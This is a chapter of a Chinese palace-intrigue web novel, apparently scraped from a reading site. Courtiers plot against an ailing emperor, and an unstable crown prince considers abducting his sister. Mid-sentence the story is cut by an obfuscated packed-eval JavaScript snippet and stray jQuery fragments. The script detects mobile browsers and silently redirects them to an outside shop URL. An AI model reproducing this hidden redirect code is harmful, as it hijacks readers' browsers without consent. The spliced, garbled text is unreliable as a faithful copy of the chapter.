124. 她不是什么都不会

作品:《邪恶青梅,但哭包竹马

    “殿下。”林浔强撑着坐起身,元煜浑身颤抖地向他走来,被他握住手,“臣可以答应帮您,只是还有一个不情之请。”


    林浔说话声很轻,元煜适才勉强冷静几分:“表哥请讲。”


    林浔:“往后殿下莫要再如今日一样失态了,君子不迁怒、不贰过。”


    元煜怔怔地看了他许久,幼年时他曾和秦辞见过很多回,秦辞当然哄着顺着这位祖宗,但那种感觉和此刻轻缓的、如沐春风般的劝慰却是全不相同的。


    “表哥所言是好,只可惜,父皇他又何尝不是迁怒您的母亲呢?”元煜最终还是挣脱了他的手,无视了林浔的错愕,“我听闻我的姑姑姑父也早早逝世,本想问问堂哥有无头绪,可他却没日没夜流连温柔乡,毫不在意,玉京城里人人纨绔,又有几个真的把君子之道记在心里?他们不也活得好好的?”


    林浔本想再劝,可元煜却没心思再听:“既然表哥不愿帮忙,我也不强求,您好生养病,别再折腾幺蛾子了。”


    元煜一番话后就旋身离去,躲在外头的寒镜月这才进屋,见林浔脸色不太好,叹道:“这人已经被逼疯了,你没必要劝他,现在看来事情可能会比我们想得简单很多。”


    “他已经铁了心要对皇帝动手,这是好事,只是我看那孩子的样子,若任由他继续下去真的没问题吗?”林浔受过癔症之扰,疯癫起来根本没法阻拦,每每想起,心底都恶寒打怵。


    寒镜月望着元煜离开的方向:“看来这宫里头想要皇帝命的人还真不少。从前我觉得他对上元令必输无疑,可现在看来,聪明人未必能算到蠢人下一步会干什么荒唐事。”


    林浔:“他对公主执念颇深,我总觉得不太对劲。”


    就像钱总会流给不缺钱的人,爱也总流给不缺爱的人。寒镜月懒得对别人的恩怨多做置评,作别林浔后,她先去找了顾折刀。


    “哟,背着你相公来找我,不怕他又哭又闹又赖着你走不动道?”顾折刀见了她立马阴阳怪气地揶揄。


    寒镜月没忍住想了下那种场面,憋笑:“那我也有本事哄好他,说正事,今天太子去找了林浔,我看那孩子已经疯了,难堪大任。”


    顾折刀皱眉:“此话怎讲?”


    寒镜月:“他一直自说自话神神叨叨,偶尔还会突然大喊大叫说些不着边际的话,本来就不是个聪明人,现在又被皇帝逼出癔症,就怕他做什么出格的事。他一直叨叨什么要让公主对皇帝死心,什么皇姐是我的皇姐,魔怔了都。”


    “公主又不是傻的,当然知道皇帝是什么为人,太子果真是不成器。”顾折刀敛了方才的散漫,“前些日子我问过他,淑妃至今无法与他见面,皇帝难道真的已经打算折杀自己儿子了?”


    寒镜月:“至少现在来看,太子就算登基,恐怕也只会是个傀儡。”


    顾折刀目光一沉:“听说礼部已经在挑公主的婚期了,只能试试那个时候能不能借机除掉这个碍眼的人。”


    寒镜月却不认同:“太子年幼,就算登基也会被朝廷上的老臣掣肘,未必有能力帮你我的忙,公主虽喜怒无常,但至少利益相关的事她不会拎不清。”


    顾折刀讶异地瞥了她一眼:“你不会真对那个小丫头片子教出感情了吧?”


    寒镜月啧了声:“我还没蠢到去同情一个什么都不缺的人。只要能为我哥嫂嫂报仇,皇位上坐谁都和我没关系。但今日我见太子,且不论什么帝王之才,一个连自己想要什么都说不清楚、疯疯癫癫的人当皇帝,掌握底下大康千千万万人生死,你难道不觉得恐怖吗?”


    “我不在乎。”顾折刀平静地看着她,“只有太子上位,她才能完完全全安然无恙。”


    寒镜月:“师兄,你凭什么认定一个已经疯了的人会放过唯一一个对他尚有温情的人?只怕不拴着她都算清醒了吧?如果太子死了,应璃对公主就没有威胁,她登基之后要处理的事飞上天,费力气追杀一个无亲无故毫无威胁的人做什么?”


    顾折刀沉默片刻,大抵他在掂量这声师兄到底是何意味,寒镜月,你为了求我帮你办事竟然不要脸到这个程度?


    “我只要她性命无虞、后生无忧,太子就算不放她走,她也能做个锦衣玉食、万人敬仰的太后,你有没有想过,她走了之后要去哪呢?一个养在闺阁长大的、没有一技之长的小姐,她要靠什么活命?靠你我的接济?那既然都是依附别人度日,为什么不选那个一人之下万人之上的依附?你能不能别每次把你自己的想法安在……”


    “她不是什么都不会的小姐。”寒镜月打断了他的指责,“我会想办法给她找能安身立命的地方,保证她下半辈子就算没人帮她她也能一个人活得好好的。师兄,至少她五年前从没说过自己喜欢当被人奉承追捧的人上人,更何况太子不成器,他这个皇帝随时可能出意外,若他出事,应璃这个罪臣之女的身份可能会被那群大臣善待吗?明明是你一直在把你认为的好的想法安在别人身上。”


    顾折刀不说话地盯了她很久,冷哼:“所以你觉得你这个和她只认识几个月的朋友比我更了解她?”


    寒镜月抿唇:“我只是不想你让她不高兴,我已经让她伤心很多回了。”


    “……”顾折刀不再看她,“你从小就谎话连篇。”


    “在这件事上骗你对我有什么好处?”寒镜月不懂他的执拗到底是为了什么。


    顾折刀:“就算我不动手,公主婚期那天也会有别的人会闹。”


    寒镜月沉眉:“其他事我心里有数,我只求你别惹她难过。”


    “你问心有愧。”顾折刀似乎不是在反问。


    “是,又如何?”寒镜月扔下这句话就旋身而去,独留他一人心中起伏。


    荒唐卑劣如她都找到了解脱,为何偏偏我不行?顾折刀很不痛快,却又不知那不痛快因何而起,最后只得自顾自喝上一碗酒,对着寒镜月的背影咒骂两句,闷闷睡去了。


    六月热灼灼,各有心中事。


    踩着末尾将纳吉、纳征的仪式走完,已是七月初。


    “前些日子你二哥上书,说要给已故的婕妤娘娘追封,此事你怎么看?”公主府内,元令少见地主动和楚青遥搭话。


    楚青遥微微颔首:“二哥与大姐感情颇深,可惜我出生时她已入宫,没能见上一面。”


    元令:“她尚在世时倒常往我母妃宫里去,可惜福薄害病,早早归去,如今就连她的故居都被拆除,怕是你二哥想睹物思人都不得了。”


    楚青遥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322004|190865||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意识到什么,面色不太好看:“殿下,二哥虽对大姐之死心存芥蒂,但总归都是些理不清的遗憾,不会因为这些就对您不利的。”


    “所以你二哥确实在查这件事?”元令似笑非笑,“你回去告诉他,一个连两个罪臣余孽都抓不到的人,凭什么外放多年还能被调回京委以重任?嗯?”


    楚青遥连忙跪下:“二哥性子直,我会替殿下劝他的,殿下大人不计小人过,莫要再恼了!”


    “青遥,你很聪明,也很好,只要你乖乖听我的,我保你后生稳坐中宫之位,保你楚家世代荣华富贵。”元令修长的手指摩挲着楚青遥的面庞,冷不丁一掐,沁出点点血豆,“但你要是敢不听话,就休怪我不仁不义了。”


    楚青遥浑身颤抖,不知是恐惧还是欣喜:“能得殿下垂怜是臣的福气,臣定不负所托。”


    元令满意地推开他:“去抹点药吧,我不喜欢脸上有疤的人。”


    有些事点到为止就好,他要是不识相,就算成亲了我也有一百种方法搞死他们。元令屏退楚青遥后,将沁雪喊到身边:“最近太子那边有什么动向没?”


    沁雪:“太子殿下近来似乎很不高兴,尤爱往宫外跑,我听他宫里的人说他时不时就念叨两句在那砸东西。”


    元令沉眉片刻:“继续让人盯着,婚期已经择定在月末,切莫让人坏了我的好事。”


    她的担忧向来不无道理,此时此刻的元煜在接连碰壁后,更加恼火地对周围的下人撒气,进宫授业的王太傅瞧见这一幕,忙不迭上来劝他:“殿下呐,您可懂点事儿吧!您拿她们撒气有什么用?您还看不清您现在最该担心的人吗?”


    “皇姐不会害我的。”元煜冷漠地把脚边的两个太监踢开,喃喃,“父皇病了,病在父皇,不在皇姐。”


    王太傅闻言脸都吓白了:“殿下莫要胡言乱语了!皇上病重,您更该床前尽孝,岂能这般说些大逆不道的话?”


    元煜:“他根本不想见我!他从来都不想我出现!都是他的错,他喜欢宸母妃,为何要对我的母后动手?他喜欢皇姐,为什么要出言挑唆我和皇姐的关系?皇姐从小对我最好,现在这样都是他的错!他还关着我的小姨不让我的小姨见我,小姨又做错了什么?!等他死了,等我当上皇帝,我会让小姨和宸母妃当最尊贵的太后,让皇姐只能是我的皇姐!”


    “殿下,您说的这些全无证据,若让有心之人听去可是要掉脑袋的啊?”王太傅麻木地听完他义愤填膺的控诉,只感觉自己已经死一遍了,迅雷之速地把九族想了一圈后,他强装镇定,“殿下,您若执意这般,臣倒还有一计。”


    元煜抬眉:“说。”


    “既然殿下不愿伤到公主,何不如找个机会将她‘藏起来’?等你大业将成,再将她养在后宫,待之以礼,也未尝不可。”王太傅悄悄打量着他的神色。


    元煜的目光时而集中时而涣散,自打五岁那年第一次见到王太傅起,他没有一天不是在教我仁义礼智信的君子之道,没有一刻不是在提醒我要有帝王风度,可偏偏现在,这个替我出口大逆不道想法的人也是他。


    有关秩序的最后一根柱子在元煜的脑海中轰然崩断,他沉默许久,一步一步向王太傅逼近:“那……要怎么藏?”